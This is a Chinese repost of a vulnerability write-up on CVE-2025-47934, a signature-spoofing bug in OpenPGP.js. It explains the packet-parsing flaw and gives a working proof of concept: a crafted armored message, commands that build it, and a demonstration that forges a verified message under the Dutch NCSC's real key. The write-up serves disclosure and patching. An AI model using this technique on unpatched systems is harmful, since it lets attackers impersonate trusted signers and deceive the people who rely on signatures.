CVE-2025-47934 - 欺骗 OpenPGP.js 签名验证

admin 2025年6月27日02:11:47CVE-2025-47934 - 欺骗 OpenPGP.js 签名验证已关闭评论7 views字数 9179阅读30分35秒阅读模式
CVE-2025-47934 - 欺骗 OpenPGP.js 签名验证

OpenPGP.js 是一个基于 RFC 9580 标准的 JavaScript 库,支持消息加密(对称和非对称)、签名及密钥管理,广泛应用于支持加密的网页邮件客户端。然而,该漏洞源于 OpenPGP.js 对畸形数据包列表的错误解析。例如,攻击者可以将一个合法签名消息(包含 One-Pass Signature、Literal Data 和 Signature 数据包)附加一个恶意 Compressed Data 数据包(包含伪造内容),尽管这不是有效的 PGP 消息格式,OpenPGP.js 仍会接受并返回恶意内容作为签名数据。

技术细节

  • 解析漏洞openpgp.readMessage() 和 PacketList.read() 在流式处理数据包时,仅读取支持流式传输的数据包(如 Literal Data),导致后续恶意数据包未被及时检查。

  • 验证错误Message.verify() 和 unwrapCompressed() 的逻辑设计缺陷,使得签名验证基于合法数据,而最终返回的 result.data 却来自恶意数据包。

  • 加密消息影响openpgp.decrypt() 结合解密和验证时,同样受影响,返回的 data 为恶意内容,而签名验证仍基于原始数据。

攻击演示

Codean Labs 提供了详细的证明-of-concept(PoC),通过 Python 脚本(如 generate_spoofed_message.py)和 JavaScript 验证程序,展示了如何利用合法签名生成伪造消息。例如:

  • 从合法签名消息中提取签名,附加恶意内容后生成伪造消息。

  • 针对荷兰国家网络安全中心(NCSC)的公开签名文件,伪造出“来自 Codean Labs 的问候”内容,并通过验证。

CVE-2025-47934 - 欺骗 OpenPGP.js 签名验证

这是CVE-2025-47934的说明,它是 Codean Labs 发现的 OpenPGP.js 漏洞,已在 v5.11.3 和 v6.1.1 中修补。

在获得目标作者(“Alice”)的有效签名后,攻击者可以利用此漏洞“伪造”Alice的任意签名(即使是加密消息),即使其(在OpenPGP.js用户看来)看起来像是Alice签署了任意消息。鉴于这是PGP的核心原则,会直接影响某些集成应用程序,因此整体风险被认为非常高。

本文解释了这是如何实现的,并在最后提供了概念证明。

介绍

OpenPGP.js 库提供了RFC 9580中指定的 OpenPGP 标准的实现。如果您曾经使用过加密电子邮件或签名的 git 提交,您可能对此标准很熟悉。从高层次上讲,OpenPGP 标准支持消息加密(对称和非对称)、消息签名以及密钥管理功能。

使用 OpenPGP.js,可以用 JavaScript 实现所有这些功能。许多支持加密的 Web 电子邮件客户端都使用了 OpenPGP.js,包括 Mailvelope 和 Proton Mail(尽管后者未受此问题影响)。

OpenPGP消息格式

所有 PGP 有效载荷(消息、分离签名和密钥)都仅由一系列数据包组成,没有总体报头。这些数据包遵循标准定义的相对简单但自定义的二进制协议。生成的二进制有效载荷可以按原样发送,但通常经过 base64 编码,从而形成“ASCII 封装”的有效载荷,例如:

-----BEGIN PGP MESSAGE-----owGbwMvMwCV2JXpbW1xI0SnG0zxJDBkOns8zUnNy8rk6SlkYxLgYZMUUWWJ1LuTu9HFSqpFcxgtTzcoEUsrAxSkAE4nSYPgrzdL1bQ1bvfG9h44/3Dtkk7njvjC9XHE/2kzwLeOV+vTNjAyHZt4/96P3wN0H7x7Y79oondUbIc6a+Onj3578CtEn4Xu5AQ===0dLq-----END PGP MESSAGE-----

该签名消息由以下数据包组成:

压缩数据包:本身包含一个ZIP压缩包列表:

  1. 一次签名包:一个可选包,其中包含(除其他内容外)所使用的哈希算法,因此验证者可以开始对后续数据进行哈希处理。

  2. 文字数据包:包含消息“hello”。

  3. 签名包:包含其之前数据哈希值的加密(EdDSA)签名。

此结构具有相当大的灵活性。例如,封装压缩数据包完全是可选的。或者,内部的文字数据包可以用压缩数据包替换,其中包含更多数据包,例如属于加密消息或其他签名的数据包。允许的数据包结构已在标准(RFC 9580,第 10.3 节)中定义的语法规则中正式化。

无效的数据包列表

现在让我们考虑一个具有以下数据包列表的 PGP 消息,其中数据包 1-3 组成合法的签名消息,但添加了第四个数据包:

  1. 一次通过签名包

  2. 文字数据包(“合法”)

  3. 签名包(对包 1 有效)

  4. 压缩数据包,包含文字数据包(“恶意”)

  5. 由于末尾存在一个压缩数据

包,因此这不是一条有效的 OpenPGP 消息。 然而,事实证明,OpenPGP.js 不仅接受了该消息并将其视为有效,还在验证签名是否合法的同时,将“恶意”数据作为签名数据返回!

为了证明这一点,让我们采用一个简单的验证程序,类似于官方文档中给出的程序,并将我们特有的数据包列表作为消息传递给它:

const openpgp = require('openpgp');(async () => {// Generated using:// cat \// <(echo "legitimate" | gpg -s -z0) \// <(printf "\xc8\x12\0\xcb\x0f\x62\0\0\0\0\0malicious") \// | base64let armoredMessage = `-----BEGIN PGP MESSAGE-----kA0DAAoW1Fu2hl5UcsoByxFiAGhBNptsZWdpdGltYXRlCoh1BAAWCgAdFiEEXSzQbblMQiJ8GaYN1Fu2hl5UcsoFAmhBNpsACgkQ1Fu2hl5UcsqE0QD/bsWYHJrrrK8RM8VgB4Z3K64zWfp49BOi+x0s9VJKyRoBALJdQhGzPwCERCANPR+KdX5ZdrX54ZpY9mriFG6O4hsFyBIAyw9iAAAAAABtYWxpY2lvdXM=-----END PGP MESSAGE-----`;// public key of [email protected]const publicKeyArmored = `-----BEGIN PGP PUBLIC KEY BLOCK-----mDMEZSAfBhYJKwYBBAHaRw8BAQdAfdgd2yxL+pYN91ENyp/VZVdWXLjYDONG47jM4dDZDMG0IFRob21hcyBSaW5zbWEgPHRob21hc0Bjb2RlYW4uaW8+iI8EExYIADcWIQRdLNBtuUxCInwZpg3UW7aGXlRyygUCZSAfBgUJBaOagAIbAwQLCQgHBRUICQoLBRYCAwEAAAoJENRbtoZeVHLKpvIBANiaDeLPyaQyHkuzB8T6ZqvfJi4dXNlsqT2FdlUUip4ZAQDSAljghQC9jAQu8I8yMrQJd4SXD1EMH+NLNNYCDEZCC7g4BGUgHwYSCisGAQQBl1UBBQEBB0DOFmUm2nMIda8PzTquulLLy/bFwDtSqAiK1EBqEdvbaAMBCAeIfgQYFggAJhYhBF0s0G25TEIifBmmDdRbtoZeVHLKBQJlIB8GBQkFo5qAAhsMAAoJENRbtoZeVHLKCE8BAJEXE6za1G6pFpaZWKBRMlCbBDSE4rc7iEn5MpC56WtQAQCnVhRNYBjQ7Bo/VX1rx2+6wx84EXOFmoW80F96QmN0Bw===Obk+-----END PGP PUBLIC KEY BLOCK-----`;const publicKey = await openpgp.readKey({ armoredKey: publicKeyArmored });const message = await openpgp.readMessage({ armoredMessage });const verificationResult = await openpgp.verify({ message, verificationKeys: publicKey });console.log(`Signed message data: ${verificationResult.data}`);const { verified, keyID } = verificationResult.signatures[0];try {await verified; // throws on invalid signatureconsole.log(`Verified signature by key id ${keyID.toHex()}`);    } catch (e) {thrownewError(`Signature could not be verified: ${e.message}`);    }})();

将以下内容打印到控制台:

Signed message data: maliciousVerified signature by key id d45bb6865e5472ca

这太糟糕了!这意味着攻击者可以使用受害者之前创建的任何有效签名,并在签名仍然有效的情况下用任何内容“替换”已签名的数据。

要了解为什么会发生这种情况,我们需要了解 OpenPGP.js 如何解析消息。

一个严重的错误

传入的 PGP 消息使用高级 API 进行解析openpgp.readMessage(),最终调用PacketList.read()。

将输入数据包列表转换为流后,PacketList.read()从流中读取初始数据包序列,直到遇到流的末尾或支持流式传输的数据包类型(supportsStreaming(value.constructor.tag)),例如文字数据包:

OpenPGP 数据包格式允许将包含任意长度数据的数据包类型拆分成多个块,并在其报头中使用“部分主体长度”进行区分。解析端需要一些逻辑来重新组合这些数据包,因此这就是supportsStreaming()所指的。

// Wait until first few packets have been readconst reader = streamGetReader(this.stream);while (true) {const { done, value } = await reader.read();if (!done) {this.push(value);      } else {this.stream = null;      }if (done || supportsStreaming(value.constructor.tag)) {break;      }    }

如果我们采用之前的恶意数据包列表,则意味着在本次循环之后(即调用 之后openpgp.readMessage()),消息的内部packets数组( 的一个实例PacketList)将仅包含数据包 1 和 2,即单次传递签名和文字数据(“合法”)数据包。其余数据包可能暂时不需要,因此仍待从数据包流中读取。

openpgp.verify()接下来,用户对 返回的消息对象调用高级 API openpgp.readMessage()。这将调用内部方法Message.verify(),其启动方式如下:

async verify(verificationKeys, date = newDate(), config = defaultConfig) {const msg = this.unwrapCompressed(); // (1)const literalDataList = msg.packets.filterByTag(enums.packet.literalData);if (literalDataList.length !== 1) {thrownewError('Can only verify message with one literal data packet.');    }if (isArrayStream(msg.packets.stream)) {      msg.packets.push(...await streamReadToEnd(msg.packets.stream, _ => _ || [])); // (2)    }const onePassSigList = msg.packets.filterByTag(enums.packet.onePassSignature).reverse();const signatureList = msg.packets.filterByTag(enums.packet.signature);// ...

为了进行签名验证,此函数从消息中获取文字数据包 ( literalDataList) 和签名数据包 ( )。 由于数据包列表可能尚未从流中完全检索到(就像我们的有效载荷一样),因此会调用 将所有剩余的数据包读入数组 (2)。关键在于,此操作发生在使用 (1) 获取自身之后。signatureList

streamReadToEnd()msg.packets msgthis.unwrapCompressed()

这是一个辅助方法,它要么返回找到的第一个压缩数据包内的数据包列表,要么在没有找到压缩数据包的情况下仅返回this(原始数据包列表):

unwrapCompressed() {const compressed = this.packets.filterByTag(enums.packet.compressedData);if (compressed.length) {returnnew Message(compressed[0].packets);    }returnthis;  }

此时,仍然仅由我们的有效载荷(一次传递签名和文字数据(“合法”))this.packets的数据包 1 和 2 组成,因此返回并将数据包 2 用作。thisliteralDataList

假设数据包 3 是数据包 2 的有效签名(“合法”),message.verify()则将成功并且控制流返回到openpgp.verify():

...if (signature) {      result.signatures = await message.verifyDetached(signature, verificationKeys, date, config);    } else {      result.signatures = await message.verify(verificationKeys, date, config);    }    result.data = format === 'binary' ? message.getLiteralData() : message.getText();    ...

接下来,result.data设置为的输出message.getLiteralData()(或message.getText(),功能等效),这再次利用了unwrapCompressed():

getLiteralData() {const msg = this.unwrapCompressed();const literal = msg.packets.findPacket(enums.packet.literalData);return (literal && literal.getBytes()) || null;  }

然而,这次msg.packets包含完整的数据包列表(由于streamReadToEnd()之前调用过),因此unwrapCompressed()将返回它遇到的第一个压缩数据包(数据包 4)的内容,这是攻击者插入的文字数据包(“恶意”)。

此时验证通过后,手动调用message.getText()也会返回恶意的LiteralData内容:

const message = await openpgp.readMessage({ payload });console.log(message.getText()); // prints "legitimate"const verificationResult = await openpgp.verify({ message, verificationKeys: publicKey });// verificationResult represents a valid signatureconsole.log(message.getText()); // prints "malicious"console.log(verificationResult.data); // prints "malicious"

这种逻辑显然是为了灵活处理压缩和未压缩的文字数据包。但似乎没有人考虑到这种格式错误的数据包列表!

加密消息

对于已签名并加密的消息,情况甚至更糟。高级 APIopenpgp.decrypt()将解密和验证结合在一起,并且通常(例如在官方示例代码中)从其输出中获取解密数据data,同时根据其signatures输出确定签名的有效性。

由于openpgp.decrypt()Just 函数在底层使用了相同的验证逻辑,因此存在同样的缺陷。因此,返回的data是攻击者控制的 Payload(“恶意”),而签名验证结果是基于原始 Payload 计算得出的(“合法”)。

const { data, signatures } = await openpgp.decrypt({    message,    verificationKeys: publicKey    decryptionKeys: privateKey});console.log(data); // prints "malicious"try {await signatures[0].verified;console.log('Signature is valid'); // prints "Signature is valid"catch (e) {}

没有像 那样的应急出口openpgp.verify(),message.getText()可以在验证之前调用。唯一安全的用法是将解密和验证分开,分为两个不同的步骤,verificationKeys第一步不使用参数。

概念验证

从我们的 PoC 存储库下载这些文件。

https://github.com/codean-labs/pocs/tree/main/CVE-2025-47934%20(OpenPGP.js)

如上所示,构建恶意载荷只需获取一条现有的签名消息(必要时移除包装压缩),并附加一个包含恶意文字数据包的压缩数据包即可。为了方便添加任意恶意文本,我们编写了一个小型 Python 脚本 ( ),它可以为您生成数据包头,并打印出经过 ASCII 编码的伪造消息版本:generate_spoofed_message.py

$echo"hello world" | gpg -s -z0 > legit_signed_message.pgp$ python generate_spoofed_message.py legit_signed_message.pgp > spoofed_message.asc$ node validate_signature.js spoofed_message.asc <(gpg --export -a [email protected])Signed message data: maliciousVerified signature by key id d45bb6865e5472ca: Thomas Rinsma <[email protected]>

此外,extract_from_clearsign_and_spoof.py还展示了如何从明文签名的消息中提取签名包,并由此生成伪造消息。以下是荷兰国家网络安全中心 (NCSC) 的说法,完全合法。😉

# Extract victim's PGP key and a clear-signed message (security.txt in this case)$ wget https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2025/januari/06/pgp-key/pgp.txt$ wget https://www.ncsc.nl/.well-known/security.txt# Generate the spoofed message$ python extract_from_clearsign_and_spoof.py security.txt > spoofed_message.asc
$ node validate_signature.js spoofed_message.asc pgp.txtSigned message data: Hello from Codean Labs.Verified signature by key id cad4ceab247e705f: NCSC-NL 2025 <[email protected]>,NCSC-NL 2025 general information <[email protected]>

减轻

请将您的 OpenPGP.js 版本更新至 v5.11.3 或 v6.1.1,以缓解此漏洞的影响。如果您使用 Mailvelope 或其他间接使用 OpenPGP.js 的软件,也请务必更新。如果您直接使用 OpenPGP.js 且无法更新,维护人员发布的公告中也包含其他解决方法。

为了解决这个问题,开发人员已经开始实施严格的语法验证,以确保像我们的恶意数据包列表这样的无效消息尽早被拒绝。我们认为这是一个非常好的方法,因为它减少了攻击面,并且可能有助于防止将来再次出现类似问题。

时间线

  • 2025-05-06 – 向 YesWeHack 上的 OpenPGP.js Bug Bounty 计划提交报告

  • 2025-05-12 – 提供更多关于恶意payload的信息

  • 2025-05-13 – 维护人员确认发现,开始协调修复

  • 2025-05-19 – 分配 CVE-2025-47934,发布公告和修复

  • OpenPGP.js v5.11.3 和 v6.1.1 发布

  • Mailvelope v6.0.1 发布

  • 2025-06-10 – 这篇博文已发布

原文始发于微信公众号(Ots安全):CVE-2025-47934 – 欺骗 OpenPGP.js 签名验证

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月27日02:11:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2025-47934 - 欺骗 OpenPGP.js 签名验证http://cn-sec.com/archives/4203962.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.